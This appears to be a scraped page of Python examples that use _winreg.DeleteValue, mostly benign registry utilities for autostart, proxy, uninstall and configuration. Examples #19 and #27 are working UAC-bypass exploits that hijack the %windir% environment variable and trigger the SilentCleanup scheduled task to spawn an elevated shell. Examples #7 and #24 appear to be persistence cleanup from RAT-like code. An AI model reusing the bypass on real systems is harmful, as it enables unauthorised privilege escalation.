Пример #1
0
    def _modify_registry(self):
        keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
        if self.program_startup == True:
            try:
                key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, keyVal, 0,
                                      _winreg.KEY_ALL_ACCESS)
                _winreg.SetValueEx(key, 'MWC', 0, _winreg.REG_SZ,
                                   self.reg_data)
            except WindowsError:
                text = "Error writing to Windows registry key under\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.\nTry changing permissions of key to grant full access."
                self._show_error_box(text)
            finally:
                _winreg.CloseKey(key)
        else:
            try:
                key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, keyVal, 0,
                                      _winreg.KEY_ALL_ACCESS)
            except WindowsError:
                text = "Error writing to Windows registry key under\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.\nTry changing permissions of key to grant full access."
                self._show_error_box(text)
                _winreg.CloseKey(key)
                return

            try:
                _winreg.DeleteValue(key, 'MWC')
            except:
                pass
            finally:
                _winreg.CloseKey(key)
Пример #2
0
def _set_dpi_mode(enabled):
    """
    """
    try:
        import _winreg as winreg  # Python 2
    except ImportError:
        import winreg  # Python 3

    try:
        dpi_support = winreg.OpenKey(
            winreg.HKEY_CURRENT_USER,
            r'Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers',
            0, winreg.KEY_ALL_ACCESS)
    except WindowsError:
        dpi_support = winreg.CreateKeyEx(
            winreg.HKEY_CURRENT_USER,
            r'Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers',
            0, winreg.KEY_ALL_ACCESS)

    try:
        subprocess_path = os.path.join(sys._MEIPASS, 'subprocess.exe')
    except:
        subprocess_path = os.path.join(os.path.dirname(cef.__file__),
                                       'subprocess.exe')

    if enabled:
        winreg.SetValueEx(dpi_support, subprocess_path, 0, winreg.REG_SZ,
                          '~HIGHDPIAWARE')
    else:
        winreg.DeleteValue(dpi_support, subprocess_path)

    winreg.CloseKey(dpi_support)
 def setEditWithAssociations(self, encodedAssocs):
     encodedAssocs = encodedAssocs.lower()
     currAssocs = [
         a.strip()
         for a in _gExtSplitter.split(self.getEditWithAssociations())
         if a.strip()
     ]
     newAssocs = [
         unicode(a.strip()) for a in _gExtSplitter.split(encodedAssocs)
         if a.strip()
     ]
     for currAssoc in currAssocs:
         if currAssoc not in newAssocs:
             self._removeFileAssociation(currAssoc,
                                         "Edit with %s" % (self._appName))
         else:
             self._migrateEditWith(currAssoc)
     for newAssoc in newAssocs:
         self._addFileAssociation(newAssoc,
                                  "Edit with %s" % (self._appName))
     self._setRegistryStringValue(self._appKeyPath, "editWithAssociations",
                                  encodedAssocs)
     # remove the obsolete HKLM value if it exists
     try:
         import _winreg
         with _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,
                              r"Software\ActiveState\Komodo", 0,
                              _winreg.KEY_ALL_ACCESS) as key:
             _winreg.DeleteValue(key, "editWithAssociations")
         self._deleteKeyIfEmpty(_winreg.HKEY_LOCAL_MACHINE,
                                r"Software\ActiveState\Komodo")
     except WindowsError:
         pass  # not elevated
Пример #4
0
def set_registry_setting(key,
                         name,
                         data,
                         reg_type=_winreg.REG_SZ,
                         _topkey=_winreg.HKEY_LOCAL_MACHINE,
                         create_key_if_missing=True):
    """
    Sets a registry setting.

    defaults to string values (REG_SZ) - overridable with reg_type.
    """
    try:
        regkey = _winreg.OpenKey(_topkey, key, 0, _winreg.KEY_SET_VALUE)
    except WindowsError:
        if create_key_if_missing:
            regkey = _winreg.CreateKey(_topkey, key)
        else:
            raise KeyError, (key, "registry key not found")

    try:
        _winreg.DeleteValue(regkey, name)
    except:
        pass

    _winreg.SetValueEx(regkey, name, 0, reg_type, data)
Пример #5
0
 def _delete_reg_value(reg, path, value):
     try:
         with _winreg.OpenKey(reg, path, 0, _winreg.KEY_ALL_ACCESS) as key:
             _winreg.DeleteValue(key, value)
             return True
     except WindowsError:
         return False
Пример #6
0
def delete_key(hkey, path, key, reflection=True):
    '''
    Delete a registry key

    Note: This cannot delete a key with subkeys

    CLI Example:

    .. code-block:: bash

        salt '*' reg.delete_key HKEY_CURRENT_USER 'SOFTWARE\\Salt' 'version'
    '''
    registry = Registry()
    hkey2 = getattr(registry, hkey)
    access_mask = registry.reflection_mask[reflection]

    try:
        handle = _winreg.OpenKey(hkey2, path, 0, access_mask)
        _winreg.DeleteKeyEx(handle, key)
        _winreg.CloseKey(handle)
        return True
    except Exception:
        pass

    try:
        _winreg.DeleteValue(handle, key)
        _winreg.CloseKey(handle)
        return True
    except Exception:
        _winreg.CloseKey(handle)
        return False
Пример #7
0
 def deletePersistence(self):
     try:
         registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, self.REG_PATH, 0, _winreg.KEY_ALL_ACCESS)
         _winreg.DeleteValue(registry_key,self.REG_NAME)
         return "Persistence deleted.\n"
     except:
         return 'There are some problems with deleting persistence!!!\n'
Пример #8
0
 def unset_proxy(self):
     for key, value in self.registry_modifications.items():
         if value['previous_value'] is not None:
             wreg.SetValueEx(self.reg, key, 0, value['type'],
                             value['previous_value'])
         else:
             wreg.DeleteValue(self.reg, key)
Пример #9
0
 def ClearNannyMessage(self):
     """Wipes the nanny message."""
     try:
         _winreg.DeleteValue(self._GetKey(), "Nanny.message")
         NannyController.synced = False
     except exceptions.WindowsError:
         pass
Пример #10
0
def delete_registry_value(key, value_name, really_delete):
    """Delete named value under the registry key.
    Return boolean indicating whether reference found and
    successful.  If really_delete is False (meaning preview),
    just check whether the value exists."""
    (hive, sub_key) = split_registry_key(key)
    if really_delete:
        try:
            hkey = _winreg.OpenKey(hive, sub_key, 0, _winreg.KEY_SET_VALUE)
            _winreg.DeleteValue(hkey, value_name)
        except WindowsError as e:
            if e.winerror == 2:
                # 2 = 'file not found' means value does not exist
                return False
            raise
        else:
            return True
    try:
        hkey = _winreg.OpenKey(hive, sub_key)
        _winreg.QueryValueEx(hkey, value_name)
    except WindowsError as e:
        if e.winerror == 2:
            return False
        raise
    else:
        return True
    raise RuntimeError('Unknown error in delete_registry_value')
Пример #11
0
 def Clear(self):
     """Wipes the transaction log."""
     try:
         _winreg.DeleteValue(_GetServiceKey(), "Transaction")
         self._synced = False
     except exceptions.WindowsError:
         pass
Пример #12
0
def write_language_file(lang):
    """Writes the language file.  The language file contains the
       name of the selected language, not any translations."""

    if lang != '':  # system default
        get_language(lang)

    if os.name == 'nt':
        regko = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,
                                  "Software\\BitTorrent")
        if lang == '':
            _winreg.DeleteValue(regko, "Language")
        else:
            lcid = None

            # I want two-way dicts
            for id, code in language.locale_sucks.iteritems():
                if code.lower() == lang.lower():
                    lcid = id
                    break
            if not lcid:
                raise KeyError(lang)

            _winreg.SetValueEx(regko, "Language", 0, _winreg.REG_SZ, str(lcid))

    else:
        lang_file_name = language_path()
        lang_file = open(lang_file_name, 'w')
        lang_file.write(lang)
        lang_file.close()
Пример #13
0
def _SetDWORDValueImpl(key, name, value):
    if value == None:
        try:
            _winreg.DeleteValue(key, name)
        except WindowsError, ex:
            if ex.errno is not winerror.ERROR_FILE_NOT_FOUND:
                raise
Пример #14
0
    def Run(self):
        try:
            new_config = config_lib.CONFIG.MakeNewConfig()
            new_config.SetWriteBack(config_lib.CONFIG["Config.writeback"])

            for mapping in config_lib.CONFIG["Installer.old_key_map"]:
                try:
                    src, parameter_name = mapping.split("->")
                    src_components = re.split(r"[/\\]", src.strip())
                    parameter_name = parameter_name.strip()

                    key_name = "\\".join(src_components[1:-1])
                    value_name = src_components[-1]
                    key = _winreg.CreateKeyEx(
                        getattr(_winreg, src_components[0]), key_name, 0,
                        _winreg.KEY_ALL_ACCESS)

                    value, _ = _winreg.QueryValueEx(key, value_name)

                    new_config.SetRaw(parameter_name, utils.SmartStr(value))

                    _winreg.DeleteValue(key, value_name)

                    logging.info("Migrated old parameter %s", src)
                except (OSError, AttributeError, IndexError, ValueError) as e:
                    logging.debug("mapping %s ignored: %s", mapping, e)
        finally:
            new_config.Write()
        def _delete_registry_entry(self, key, value):
            """
            Deletes autostart entry for current user within Windows registry
            """

            with self._open_key_handle(key) as key_handle:
                _winreg.DeleteValue(key_handle, value)
Пример #16
0
def search(conn):
    if conn == HKLM:
        value = 'DisplayName'
        key = hklmkey
        num = hklmnum
        path = uninstallpath
    elif conn == HKCR:
        value = 'ProductName'
        key = hkcrkey
        num = hkcrnum
        path = productpath
    else:
        raise Exception('Unknown Connection')

    print conn, value, key, num, path
    try:
        for x in range(num):
            keyname = _winreg.EnumKey(key, x)
            skey = _winreg.OpenKey(conn, path + '\\' + keyname, 0,
                                   _winreg.KEY_ALL_ACCESS)
            #           print keyname, skey
            try:
                software = _winreg.QueryValueEx(skey, value)[0]
                #               print "%s : %s" %(keyname, software)
                for pg in program:
                    if pg in software:
                        print pg, software
                        print "found %s : %s" % (keyname, software)
                        _winreg.DeleteValue(skey, value)
            except:
                pass
        print x, '\t', num

    except:
        pass
Пример #17
0
    def StopPreviousService(self):
        """Stops the Windows service hosting the GRR process."""
        StopService(
            service_name=config.CONFIG["Nanny.service_name"],
            service_binary_name=config.CONFIG["Nanny.service_binary_name"])

        if not config.CONFIG["Client.fleetspeak_enabled"]:
            return

        StopService(
            service_name=config.CONFIG["Client.fleetspeak_service_name"])

        # Delete GRR's Fleetspeak config from the registry so Fleetspeak
        # doesn't try to restart GRR unless/until installation completes
        # successfully.
        key_path = config.CONFIG["Client.fleetspeak_unsigned_services_regkey"]
        regkey = OpenRegkey(key_path)
        try:
            _winreg.DeleteValue(regkey, config.CONFIG["Client.name"])
            logging.info("Deleted value '%s' of key '%s'.",
                         config.CONFIG["Client.name"], key_path)
        except OSError as e:
            # Windows will raise a no-such-file-or-directory error if
            # GRR's config hasn't been written to the registry yet.
            if e.errno != errno.ENOENT:
                raise
Пример #18
0
 def remove(name):
     if not exists(name):
         return
     """delete an autostart entry"""
     key = get_runonce()
     _winreg.DeleteValue(key, name)
     _winreg.CloseKey(key)
Пример #19
0
def silentcleanup(payload):
	try:
		key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,os.path.join("Environment"))
		_winreg.SetValueEx(key,"windir",0,_winreg.REG_SZ,"cmd.exe /k {} & ".format(os.path.join(payload)))
		_winreg.CloseKey(key)
	except Exception as error:
		print_error("Unable to create registry keys, exception was raised: {}".format(error))
		return False
	else:
		print_success("Successfully created WINDIR key containing payload ({})".format(os.path.join(payload)))

	time.sleep(5)

	print_info("Disabling file system redirection")
	with disable_fsr():
		print_success("Successfully disabled file system redirection")
		if (process().create("schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I",1) == True):		
			print_success("Successfully spawned process ({})".format(os.path.join(payload)))
		else:
			print_error("Unable to spawn process ({})".format(os.path.join(payload)))

	time.sleep(5)

	try:
		key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,"Environment",0,_winreg.KEY_ALL_ACCESS)					
		_winreg.DeleteValue(key,"windir")
	except Exception as error:
		print_error("Unable to cleanup")
		return False
	else:
		print_success("Successfully cleaned up, enjoy!")
Пример #20
0
    def remove(hive):
        conn, value, key, num, path = hive
        print conn, value, key, num, path
        try:
            for x in range(num):
                keyname = _winreg.EnumKey(key, x)
                skey = _winreg.OpenKey(conn, path + '\\' + keyname, 0,
                                       _winreg.KEY_ALL_ACCESS)
                #           print keyname, skey
                try:
                    software = _winreg.QueryValueEx(skey, value)[0]
                    #               print "%s : %s" %(keyname, software)
                    for pg in program:
                        if pg in software:
                            print pg, software
                            print "found %s : %s" % (keyname, software)
                            print
                            print 'keyname: %s, skey: %s, value: %s' % (
                                keyname, skey, value)
                            reglog.write('keyname: %s, skey: %s, value: %s\n' %
                                         (keyname, skey, value))
                            _winreg.DeleteValue(skey, value)
                            #newvalue = value + str(1)
                            #_winreg.setValueEx(skey,value,0,REG_SZ,newvalue)
                            #winreg.SetValueEx(key, value_name, reserved, type, value)
                except:
                    pass
            print x, '\t', num

        except:
            pass
Пример #21
0
    def delete(self, key):  # -> None:
        """
        删除环境变量
        :param key: 键
        """
        if system.is_windows():
            reg_key = winreg.OpenKey(self.root, self.sub_key, 0,
                                     winreg.KEY_WRITE)
            try:
                winreg.DeleteValue(reg_key, key)
            except WindowsError as e:
                pass
        elif system.is_linux() or system.is_darwin():
            command_begin = "\n#-#-#-#-#-#-#-#-#-#-#-#-# written by user_env #-#-#-#-#-#-#-#-#-#-#-#-# %s\n" % key
            command_end = "\n#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-# %s\n" % key

            if os.path.exists(self.bash_file):
                with open(self.bash_file, "r") as fd:
                    bash_command = fd.read()

                result = re.search(
                    r"%s[\s\S]+%s" % (command_begin, command_end),
                    bash_command)
                if result is not None:
                    span = result.span()
                    bash_command = bash_command[:span[0]] + bash_command[
                        span[1]:]

                with open(self.bash_file, "w") as fd:
                    fd.write(bash_command)
Пример #22
0
 def CleanTransactionLog(self):
     """Wipes the transaction log."""
     try:
         _winreg.DeleteValue(self._GetKey(), "Transaction")
         NannyController.synced = False
     except exceptions.WindowsError:
         pass
Пример #23
0
 def __del_values(self):
     'Private class method.'
     try:
         while True:
             _winreg.DeleteValue(self.__key,
                                 _winreg.EnumValue(self.__key, 0)[0])
     except EnvironmentError:
         pass
Пример #24
0
def remove_keys():
    # Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    # key: WinAutoUpdate
    key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
    value = 'WinAutoUpdate'
    key_HANDLE = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_ALL_ACCESS)
    winreg.DeleteValue(key_HANDLE, value)
    print "- All related registry keys removed."
Пример #25
0
def set_proxy(keyList):
    if keyList.has_key('AutoConfigURL'): _winreg.DeleteValue(key, 'AutoConfigURL')
    if keyList['ProxyEnable'] != 1: _winreg.SetValueEx(key, 'ProxyEnable', 0, _winreg.REG_DWORD, 1)
    if not keyList.has_key('ProxyServer'): 
        _winreg.CreateKey(key, 'ProxyServer')
        _winreg.SetValueEx(key, 'ProxyServer', 0, _winreg.REG_SZ, PROXY_PORT)
    elif keyList['ProxyServer'] != PROXY_PORT: 
        _winreg.SetValueEx(key, 'ProxyServer', 0, _winreg.REG_SZ, PROXY_PORT)
def remove_value_from_registry_helper(opened_key, remove_value_name):
    """
  <Purpose>
    Removes remove_value_name from opened_key in the Windows Registry.
  <Arguments>
    opened_key:
      A key opened using _winreg.OpenKey(...) or _winreg.CreateKey(...).
    remove_value_name:
      A string of the value name to be removed from opened_key.
  
  <Exceptions>
    WindowsError if the uninstaller is unable to access and manipulate the
    Windows registry, or if opened_key was not previously opened.
  <Side Effects>
    seattle is removed from the Windows registry key opened_key.
  <Returns>
    True if seattle was removed from the registry, False otherwise (indicating
    that seattle could not be found in the registry).
  """
    # The following try: block iterates through all the values contained in the
    # opened key.
    try:
        # The variable "index" will index into the list of values for the opened
        # key.
        index = 0
        # The list that will contain all the names of the values contained in the
        # key.
        value_name_list = []
        # Standard python procedure for _winreg: Continue indexing into the list of
        # values until a WindowsError is raised which indicates that there are no
        # more values to enumerate over.
        while True:
            value_name, value_data, value_type = _winreg.EnumValue(
                opened_key, index)
            value_name_list.append(value_name)
            index += 1
    except WindowsError:
        # Reaching this point means there are no more values left to enumerate over.
        # If the registry were corrupted, it is probable that a WindowsError will be
        # raised, in which case this function should simply return False.
        pass

    # The following test to see if the value seattle appears in the registry key
    # was not done in real-time in the above while-loop because it is potentially
    # possible that the _winreg.DeleteValue(...) command below could raise a
    # WindowsError.  In that case, it would not be possible for the parent
    # function to know whether the WindowsError was raised because the uninstaller
    # does not have access to the registry or because the value seattle does not
    # exist in the registry key since a WindowsError is raised to exit the while
    # loop when there are no more values to enumerate over.
    if remove_value_name in value_name_list:
        # ARGUMENTS:
        # startkey: the key that contains the value that will be deleted.
        # "seattle": the name of the value that will be deleted form this key.
        _winreg.DeleteValue(opened_key, remove_value_name)
        return True
    else:
        return False
Пример #27
0
def silentcleanup():
    print """
 -------------------------------------------------------------
 SilentCleanup is a preconfigured scheduled task that is
 vulnerable to enviroment variable hijack.
 
 Read access to HKCU\Environment is performed upon
 execution. Due to the registry key being accessible
 from user mode, an arbitrary executable file can
 be injected. 
 
 When everything worked correctly, the payload should be
 spawned with high IL. Which, in this case will be
 "cmd.exe /k" that will run.
 -------------------------------------------------------------
 """
    print_info("Payload: cmd.exe /k")
    print_info("Hijacking %windir% enviroment variable in HKCU\Environment")
    try:
        key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,
                                os.path.join("Environment"))

        _winreg.SetValueEx(key, "windir", 0, _winreg.REG_SZ, "cmd.exe /k")
        _winreg.CloseKey(key)
        print_success(
            "Successfully created %windir% enviroment variable in HKCU\Environment"
        )
    except Exception as error:
        print_error(
            "Unable to create %windir% enviroment variable in HKCU\Environment"
        )
        return False

    print_info("Pausing for 5 seconds before executing")
    time.sleep(5)

    try:
        os.popen(
            "schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I"
        )
        print_success("Successfully ran schtask")
    except Exception as error:
        print_error("Unable to run schtask")
        return False

    print_info("Pausing for 5 seconds before cleaning")
    time.sleep(5)

    print_info("Removing %windir% enviroment variable")
    try:
        key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "Environment", 0,
                              _winreg.KEY_ALL_ACCESS)

        _winreg.DeleteValue(key, "windir")
        print_success("Successfully removed %windir% enviroment variable")
    except Exception as error:
        print_error("Unable to remove %windir% enviroment variable")
        return False
Пример #28
0
def setStartAfterLogon(enable):
    if getStartAfterLogon() == enable:
        return
    k = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, RUN_REGKEY, 0,
                        _winreg.KEY_WRITE)
    if enable:
        _winreg.SetValueEx(k, u"nvda", None, _winreg.REG_SZ, sys.argv[0])
    else:
        _winreg.DeleteValue(k, u"nvda")
Пример #29
0
def set_run_on_startup(enabled,
                       program_name,
                       executable,
                       icon="",
                       description=""):
    """
	Sets or unsets program to be ran on startup, either by XDG autostart
	or by windows registry.
	'Description' parameter is ignored on Windows.
	Returns True on success.
	"""
    if is_ran_on_startup(program_name) == enabled:
        # Don't do anything if value is already set
        return
    if IS_WINDOWS:
        # Create/delete value for application in ...\Run
        key = _winreg.OpenKey(
            _winreg.HKEY_CURRENT_USER,
            "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,
            _winreg.KEY_ALL_ACCESS)
        if enabled:
            _winreg.SetValueEx(key, program_name, 0, _winreg.REG_SZ,
                               '"%s"' % (executable, ))
        else:
            _winreg.DeleteValue(key, program_name)
        _winreg.CloseKey(key)
    else:
        # Create/delete application.desktop with provided values,
        # removing any hidding parameters
        desktopfile = os.path.join(get_config_dir(), "autostart",
                                   "%s.desktop" % (program_name, ))
        if enabled:
            try:
                os.makedirs(os.path.join(get_config_dir(), "autostart"),
                            mode=0700)
            except Exception:
                # Already exists
                pass
            try:
                with open(desktopfile, "w") as f:
                    desktop_contents = DESKTOP_FILE % (
                        program_name, executable, icon, description)
                    f.write(desktop_contents.encode('utf-8'))
            except Exception as e:
                # IO errors or out of disk space... Not really
                # expected, but may happen
                log.warning("Failed to create autostart entry: %s", e)
                return False
        else:
            try:
                if os.path.exists(desktopfile):
                    os.unlink(desktopfile)
            except Exception as e:
                # IO or access error
                log.warning("Failed to remove autostart entry: %s", e)
                return False
    return True
Пример #30
0
def del_reg():
    try:
        hKey = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, gv.REG_PATH)
        _winreg.DeleteValue(hKey, gv.KEY)
    except WindowsError as ew:
        print("Already Proxy Set Off")
        print(ew)
    else:
        print("Proxy Set Off")